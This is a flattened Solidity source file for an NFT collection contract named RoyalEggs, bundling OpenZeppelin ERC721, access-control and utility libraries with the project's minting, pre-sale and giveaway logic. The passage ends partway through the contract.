sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/RoyalEggs.sol pragma solidity ^0.8.0; contract RoyalEggs is ERC721Enumerable, Ownable, AccessControl { using Strings for uint256; string baseURI; bytes32 public constant TEAM_ROLE = keccak256("TEAM_ROLE"); uint256 public constant TOTAL_EGGS_SUPPLY = 8888; uint256 public constant max_mint_transactions = 11; uint256 public constant max_eggs_per_wallet = 12; uint256 public cost = 0.05 ether; uint256 public pre_mint_supply = 2000; uint256 public giveaway_supply = 300; mapping(address => bool) private _pre_sale_minters; bool public paused_mint = true; bool public paused_pre_mint = true; bool public revealed = false; string public notRevealedUri; // withdraw addresses address royaleggs_treasury; modifier whenMintNotPaused() { require(!paused_mint, "RoyalEggs: mint is paused"); _; } modifier whenPreMintNotPaused() { require(!paused_pre_mint, "RoyalEggs: pre mint is paused"); _; } modifier preMintAllowedAccount(address account) { require(is_pre_mint_allowed(account), "RoyalEggs: account is not allowed to pre mint"); _; } event MintPaused(address account); event MintUnpaused(address account); event PreMintPaused(address account); event PreMintUnpaused(address account); event setPreMintRole(address account); event redeemedPreMint(address account); constructor( string memory _name, string memory _symbol, address _royaleggs_treasury, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { royaleggs_treasury = _royaleggs_treasury; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(TEAM_ROLE, msg.sender); setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } fallback() external payable { } receive() external payable { } function mint(uint256 num) public payable whenMintNotPaused(){ uint256 supply = totalSupply(); uint256 tokenCount = balanceOf(msg.sender); require( num <= max_mint_transactions, "RoyalEggs: Max Royal Eggs per mint exceeded ! try less " ); require( tokenCount + num <= max_eggs_per_wallet, "RoyalEggs: Max Royal Eggs per wallet exceeded ! WOW Many thanks <3" ); require( supply + num <= TOTAL_EGGS_SUPPLY - giveaway_supply, "RoyalEggs: No More Eggs :(" ); require( msg.value >= cost * num, "RoyalEggs: Not enough to cover the transaction " ); for(uint256 i; i < num; i++){ _safeMint( msg.sender, supply + i ); } } function pre_mint() public payable whenPreMintNotPaused() preMintAllowedAccount(msg.sender){ require( pre_mint_supply > 0, "RoyalEggs: No More Eggs for pre mint" ); require( msg.value >= cost, "RoyalEggs: Not enough to cover cost " ); _pre_sale_minters[msg.sender] = false; pre_mint_supply -= 1; uint256 supply = totalSupply(); _safeMint( msg.sender, supply); emit redeemedPreMint(msg.sender); } function giveAway(address _to) external onlyRole(TEAM_ROLE) { require(giveaway_supply > 0, "RoyalEggs: No More Free Eggs" ); giveaway_supply -= 1; uint256 supply = totalSupply(); _safeMint( _to, supply); } function setCost(uint256 _newCost) public 